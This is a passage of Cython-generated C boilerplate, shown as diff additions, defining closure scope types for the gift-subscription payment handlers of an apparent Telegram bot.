*)__pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler_spec = { + "handlers.payments.gift.__pyx_scope_struct__start_menu_handler", + sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.gift.""__pyx_scope_struct__start_menu_handler", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler *__pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler[8]; +static int __pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler[--__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler(PyObject *o) { + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler *p = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_expiry_time); + Py_CLEAR(p->__pyx_v_gift); + Py_CLEAR(p->__pyx_v_gifts); + Py_CLEAR(p->__pyx_v_gifts_text); + Py_CLEAR(p->__pyx_v_is_used); + Py_CLEAR(p->__pyx_v_months); + Py_CLEAR(p->__pyx_v_recipient); + Py_CLEAR(p->__pyx_v_session); + Py_CLEAR(p->__pyx_v_user_tg_id); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler)))) { + __pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler[__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler++] = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler *p = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_expiry_time) { + e = (*v)(p->__pyx_v_expiry_time, a); if (e) return e; + } + if (p->__pyx_v_gift) { + e = (*v)(p->__pyx_v_gift, a); if (e) return e; + } + if (p->__pyx_v_gifts) { + e = (*v)(p->__pyx_v_gifts, a); if (e) return e; + } + if (p->__pyx_v_months) { + e = (*v)(p->__pyx_v_months, a); if (e) return e; + } + if (p->__pyx_v_recipient) { + e = (*v)(p->__pyx_v_recipient, a); if (e) return e; + } + if (p->__pyx_v_session) { + e = (*v)(p->__pyx_v_session, a); if (e) return e; + } + if (p->__pyx_v_user_tg_id) { + e = (*v)(p->__pyx_v_user_tg_id, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler_spec = { + "handlers.payments.gift.__pyx_scope_struct_1_my_gifts_handler", + sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.gift.""__pyx_scope_struct_1_my_gifts_handler", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler *__pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler[8]; +static int __pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler[--__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler(PyObject *o) { + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler *p = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_months); + Py_CLEAR(p->__pyx_v_price); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler)))) { + __pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler[__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler++] = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler *p = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_months) { + e = (*v)(p->__pyx_v_months, a); if (e) return e; + } + if (p->__pyx_v_price) { + e = (*v)(p->__pyx_v_price, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler_spec = { + "handlers.payments.gift.__pyx_scope_struct_2_gift_subscription_handler", + sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.gift.""__pyx_scope_struct_2_gift_subscription_handler", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler *__pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler[8]; +static int __pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler[--__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler(PyObject *o) { + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler *p = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_balance); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_price); + Py_CLEAR(p->__pyx_v_selected_months); + Py_CLEAR(p->__pyx_v_session); + Py_CLEAR(p->__pyx_v_user_tg_id); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler)))) { + __pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler[__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler++] = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler *p = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler *)o; + if (p->__pyx_v_balance) { + e = (*v)(p->__pyx_v_balance, a); if (e) return e; + } + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_price) { + e = (*v)(p->__pyx_v_price, a); if (e) return e; + } + if (p->__pyx_v_selected_months) { + e = (*v)(p->__pyx_v_selected_months, a); if (e) return e; + } + if (p->__pyx_v_session) { + e = (*v)(p->__pyx_v_session, a); if (e) return e; + } + if (p->__pyx_v_user_tg_id) { + e = (*v)(p->__pyx_v_user_tg_id, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler_spec = { + "handlers.payments.gift.__pyx_scope_struct_3_confirm_gift_handler", + sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.gift.""__pyx_scope_struct_3_confirm_gift_handler", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, 